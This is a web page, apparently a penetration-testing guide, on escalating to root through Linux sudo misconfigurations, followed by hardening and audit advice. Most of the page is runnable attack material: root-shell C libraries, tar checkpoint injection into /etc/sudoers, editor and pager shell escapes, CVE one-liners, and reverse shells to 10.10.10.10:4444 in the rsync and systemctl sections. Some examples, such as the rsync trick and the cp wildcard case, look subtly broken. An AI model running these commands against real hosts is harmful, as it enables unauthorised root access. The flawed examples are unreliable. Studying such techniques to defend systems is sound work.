
Linux Privilege Escalation via SUDO Misconfigurations
Linux sudo misconfiguration exploitation including command injection, wildcard abuse, environment variable manipulation, and privilege escalation techniques.
Introduction
The sudo command is fundamental to Unix/Linux system administration, allowing authorized users to execute commands with elevated privileges. However, misconfigurations in /etc/sudoers or individual sudo policies create significant privilege escalation opportunities. Even seemingly harmless sudo permissions can lead to complete system compromise through creative exploitation techniques.
Understanding sudo-based privilege escalation is critical for both attackers seeking to elevate privileges and defenders hardening Linux systems. This guide explores common sudo misconfigurations, exploitation techniques, and defensive best practices.
Configuration is Critical
A single misconfigured sudo rule can provide a path to root. Sudo configurations should be treated as security-critical and audited regularly. The principle of least privilege must be strictly enforced.
Impact
- Complete System Compromise: Root-level access to the entire system
- Data Exfiltration: Unrestricted access to all files, databases, and sensitive information
- Persistence Mechanisms: Ability to install backdoors, rootkits, and maintain long-term access
- Lateral Movement: Compromised system as pivot point to attack other systems
- Log Manipulation: Ability to modify or delete audit logs and cover tracks
- Service Disruption: Capability to disable security controls, modify services, or cause system outages
Common SUDO Misconfigurations
Wildcard Exploitation
Basic Wildcard Abuse
# Vulnerable sudoers entry
user ALL=(ALL) NOPASSWD: /bin/cp * /backup/
# Exploitation - overwrite /etc/passwd
echo 'root2:x:0:0:root:/root:/bin/bash' > /tmp/passwd
sudo /bin/cp /tmp/passwd /etc/passwdTar Wildcard Exploitation
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /bin/tar -czf /backup/*.tar.gz *
# Create malicious checkpoint
echo 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > shell.sh
chmod +x shell.sh
# Create tar checkpoint action files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Trigger exploitation
sudo /bin/tar -czf /backup/backup.tar.gz *
# Result: user gains full sudo accessRsync Wildcard Exploitation
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/rsync * /backup/
# Create malicious rsync configuration
echo 'pre-xfer exec = bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' > rsyncd.conf
# Exploit using config file
touch -- '-e sh rsyncd.conf'
sudo /usr/bin/rsync * /backup/Environment Variable Manipulation
Path Hijacking
# Vulnerable entry (no secure_path)
user ALL=(ALL) NOPASSWD: /usr/local/bin/backup.sh
# backup.sh contains:
#!/bin/bash
echo "Starting backup..."
tar -czf /backup/data.tar.gz /data
# Exploitation
cat > /tmp/tar << 'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /tmp/tar
# Execute with malicious PATH
sudo PATH=/tmp:$PATH /usr/local/bin/backup.sh
# Spawns root shellLD_PRELOAD Exploitation
# Check if LD_PRELOAD is preserved
sudo -l | grep LD_PRELOAD
# If "env_keep+=LD_PRELOAD" is set
# Create malicious shared library
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
# Exploit
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
# Spawns root shellLD_LIBRARY_PATH Exploitation
# Vulnerable if env_keep includes LD_LIBRARY_PATH
# Find libraries used by allowed command
ldd /usr/bin/allowed_command
# Create malicious library
cat > /tmp/library.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/libc.so.6 /tmp/library.c
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_commandShell Escape Techniques
VI/VIM
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/vi /etc/config.txt
# Exploitation
sudo vi /etc/config.txt
# Inside vim:
:set shell=/bin/bash
:shell
# Now root shell
# Or shorter:
:!/bin/bashLESS/MORE
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/less /var/log/syslog
# Exploitation
sudo less /var/log/syslog
# Inside less:
!/bin/bash
# Spawns root shellFind
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/find
# Exploitation
sudo find /etc -exec /bin/bash \;
# OR
sudo find /etc -exec /bin/bash -p \; -quitAWK
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/awk
# Exploitation
sudo awk 'BEGIN {system("/bin/bash")}'Python/Perl/Ruby
# Python
sudo python -c 'import os; os.system("/bin/bash")'
# Perl
sudo perl -e 'exec "/bin/bash";'
# Ruby
sudo ruby -e 'exec "/bin/bash"'Git
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/git
# Exploitation
sudo git help status
# Inside pager:
!/bin/bashMan
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/man
# Exploitation
sudo man man
# In pager:
!/bin/bashCommand-Specific Exploits
Apache2
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/sbin/apache2
# Exploitation - arbitrary file read
sudo apache2 -f /etc/shadow
# OR execute commands via ServerRoot
echo 'ServerRoot /tmp
LoadModule mpm_prefork_module /usr/lib/apache2/modules/mod_mpm_prefork.so
Listen 9999
ErrorLog /tmp/error.log' > /tmp/httpd.conf
# Create malicious module
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
void __attribute__ ((constructor)) init(void) {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/shell.so /tmp/shell.c
sudo apache2 -f /tmp/httpd.confDocker
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/docker
# Exploitation - mount host filesystem
sudo docker run -v /:/mnt -it ubuntu chroot /mnt bash
# OR
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt shSSH
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/ssh *
# Exploitation
sudo ssh -o ProxyCommand=';/bin/bash;' xSystemctl
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /bin/systemctl
# Create malicious service
cat > /tmp/root.service << 'EOF'
[Unit]
Description=Root Shell
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
[Install]
WantedBy=multi-user.target
EOF
# Start malicious service
sudo systemctl link /tmp/root.service
sudo systemctl start root.serviceSUID Binary Creation
# Vulnerable entry allows copying
user ALL=(ALL) NOPASSWD: /bin/cp
# Exploitation
sudo cp /bin/bash /tmp/rootbash
sudo chmod +s /tmp/rootbash
/tmp/rootbash -pInput/Output Redirection
Output Redirection
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/bin/tee
# Exploitation - add user to sudoers
echo "user ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
# Or add SSH key
echo "ssh-rsa AAAAB3..." | sudo tee -a /root/.ssh/authorized_keysFile Overwrite via Script
# Vulnerable entry
user ALL=(ALL) NOPASSWD: /usr/local/bin/logrotate.sh
# If logrotate.sh contains:
#!/bin/bash
cat $1 > /var/log/rotated.log
# Exploitation
sudo /usr/local/bin/logrotate.sh /etc/shadow
# Now /etc/shadow is in /var/log/rotated.log (readable)Advanced Exploitation Techniques
CVE-2019-14287 (Sudo User ID Bypass)
# Affects sudo < 1.8.28
# Vulnerable entry
user ALL=(ALL, !root) NOPASSWD: /bin/bash
# Check sudo version
sudo -V | grep "Sudo version"
# Exploitation (user ID -1 becomes 0)
sudo -u#-1 /bin/bash
# Spawns root shellCVE-2021-3156 (Baron Samedit)
# Affects sudo versions 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1
# Check vulnerability
sudoedit -s /
# If you see "sudoedit:" error, likely vulnerable
# Use public exploit
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwichShared Library Hijacking
# Find commands you can run with sudo
sudo -l
# Identify libraries
ldd /usr/bin/allowed_command | grep "=> /"
# Check for writable library paths
strace -e open,openat sudo /usr/bin/allowed_command 2>&1 | grep -E "\.so"
# Create malicious library in writable path
gcc -shared -fPIC -o /writable/path/libvuln.so shell.cSudo Token Hijacking
# If sudo token exists and ptrace is allowed
# Find sudo process
ps aux | grep sudo
# Inject into sudo process to reuse token
# Requires CAP_SYS_PTRACE or permissive ptrace_scope
git clone https://github.com/nongiach/sudo_inject.git
./activate_sudo_token
sudo su # No password requiredDetection
Enumerate SUDO Permissions
# Check what you can run with sudo
sudo -l
# Detailed output
sudo -ll
# Check for dangerous entries
sudo -l | grep -E "NOPASSWD|env_keep|!authenticate"Automated Enumeration Tools
LinPEAS (Linux Privilege Escalation Awesome Script):
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Look for sudo-related findings
./linpeas.sh | grep -A 20 "sudo"LinEnum:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -tLinux Smart Enumeration (LSE):
wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh
chmod +x lse.sh
./lse.sh -l 2GTFOBins Integration
Check allowed commands against GTFOBins:
# Visit https://gtfobins.github.io/
# Search for your allowed sudo command
# Follow exploitation techniquesPrevention and Hardening
Secure Sudoers Configuration
Best Practices:
# Edit with visudo (validates syntax)
sudo visudo
# Recommended settings
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults use_pty
Defaults logfile="/var/log/sudo.log"
# Prevent environment variable exploitation
Defaults env_reset
Defaults env_delete="LD_PRELOAD LD_LIBRARY_PATH"
# Require password for all sudo commands
Defaults !authenticate # NEVER use this
# Specific command with full path
user ALL=(ALL) /usr/bin/specific_command arg1 arg2
# Restrict to specific user
user ALL=(specificuser) /usr/bin/commandAvoiding Dangerous Patterns
DO NOT allow:
# Wildcards
user ALL=(ALL) /bin/cp * /backup/ # Exploitable
# Editors
user ALL=(ALL) /usr/bin/vi * # Shell escape
# Scripting languages
user ALL=(ALL) /usr/bin/python # Command execution
# Find, less, more, man
user ALL=(ALL) /usr/bin/find # Shell execution
# Docker or virtualization tools
user ALL=(ALL) /usr/bin/docker # Container escape
# Package managers
user ALL=(ALL) /usr/bin/apt # Arbitrary code executionCommand Argument Restrictions
# Correct - specific arguments only
user ALL=(ALL) /usr/bin/systemctl restart apache2
# Incorrect - any argument
user ALL=(ALL) /usr/bin/systemctl *
# Use command lists for multiple specific commands
Cmnd_Alias SERVICES = /usr/bin/systemctl restart apache2, \
/usr/bin/systemctl restart nginx
user ALL=(ALL) NOPASSWD: SERVICESAudit Logging
# Enable comprehensive logging
Defaults log_input, log_output
Defaults iolog_dir=/var/log/sudo-io/%{user}
Defaults logfile="/var/log/sudo.log"
Defaults log_year
# Send alerts on failures
Defaults mail_badpass
Defaults mailto="[email protected]"PAM Integration
# Require additional authentication
# /etc/pam.d/sudo
auth required pam_google_authenticator.soRegular Audits
# Automated sudo audit script
cat > /usr/local/bin/sudo-audit.sh << 'EOF'
#!/bin/bash
echo "=== SUDO Configuration Audit ==="
echo ""
# Check for NOPASSWD
echo "Entries with NOPASSWD:"
grep -v "^#" /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep NOPASSWD
echo ""
echo "Entries with wildcards:"
grep -v "^#" /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep "\*"
echo ""
echo "Entries with dangerous commands:"
grep -v "^#" /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep -E "vi|vim|less|more|docker|python|perl|ruby|find"
echo ""
echo "Environment variable settings:"
grep -v "^#" /etc/sudoers /etc/sudoers.d/* 2>/dev/null | grep -E "env_keep|env_reset"
EOF
chmod +x /usr/local/bin/sudo-audit.shVerification
Test Sudo Configuration
# Validate sudoers syntax
sudo visudo -c
# Test as specific user
sudo -u testuser -l
# Verify secure_path is enforced
sudo -l | grep secure_path
# Check for session recording
ls -la /var/log/sudo-io/Penetration Testing Checklist
# 1. Check sudo permissions
sudo -l
# 2. Search GTFOBins for exploits
# https://gtfobins.github.io/
# 3. Check for wildcards
sudo -l | grep "\*"
# 4. Test environment variables
sudo -l | grep env_keep
# 5. Run automated enumeration
./linpeas.sh
./linux-smart-enumeration.sh
# 6. Check for CVEs
sudo -V # Version checkReferences
- GTFOBins: Unix Binaries Exploitation
- MITRE ATT&CK: T1548.003 - Sudo and Sudo Caching
- Sudo Manual
- PayloadsAllTheThings: Linux Privilege Escalation
- HackTricks: Linux Privilege Escalation
Next Steps
If sudo misconfigurations are identified:
- Immediately audit
/etc/sudoersand/etc/sudoers.d/for dangerous entries - Implement principle of least privilege with specific commands and arguments
- Enable comprehensive logging with input/output recording
- Deploy monitoring for sudo usage anomalies
- Conduct regular audits of sudo permissions
- Review related Linux privilege escalation techniques:
- SUID/SGID binary exploitation
- Kernel exploits
- Cron job abuse
- Capabilities abuse
Takeaway: Sudo misconfigurations are among the most common privilege escalation vectors in Linux environments. The combination of restrictive sudoers policies, comprehensive logging, regular audits, and user education provides defense-in-depth against sudo-based privilege escalation. Make sudo configuration review a critical component of your Linux security hardening program.
Last updated on
Linux Capabilities Exploitation: Breaking Traditional Privilege Models
Technical guide to exploiting Linux capabilities for privilege escalation, focusing on dangerous capabilities like CAP_DAC_OVERRIDE, CAP_SYS_ADMIN, and CAP_SETUID.
Windows
Overview of Windows-specific vulnerabilities, their exploitation techniques, and mitigations. This post serves as the entry point to categorized writeups on different forms of Windows security weaknesses.